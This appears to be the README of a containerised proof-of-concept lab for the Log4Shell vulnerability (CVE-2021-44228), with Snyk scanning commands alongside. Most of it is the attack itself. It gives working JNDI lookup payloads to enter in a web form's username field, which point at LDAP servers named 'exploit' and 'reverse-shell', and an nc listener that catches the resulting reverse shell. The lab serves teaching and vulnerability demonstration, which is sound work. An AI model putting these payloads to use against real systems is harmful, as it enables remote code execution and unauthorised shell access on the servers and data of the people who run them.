Proof of concept for CVE-2021-44228. To learn more about log4shell, check the summary by Snyk.
docker-compose up
Go go localhost:8080
and fill username:
${jndi:ldap://exploit:9999/Evil}
${jndi:ldap://reverse-shell:1389/a}
snyk log4shell
snyk test --all-projects
Start terminal in web-server
docker-compose up web-server
docker-compose up exploit
docker-compose up reverse-shell
Check web server to see if exploit worked:
docker-compose exec web-server bash
Start terminal in ubuntu and listen for reverse shell:
docker-compose up -d ubuntu
docker-compose exec ubuntu bash
nc -lv 9001
This PoC is heavily based on these resources: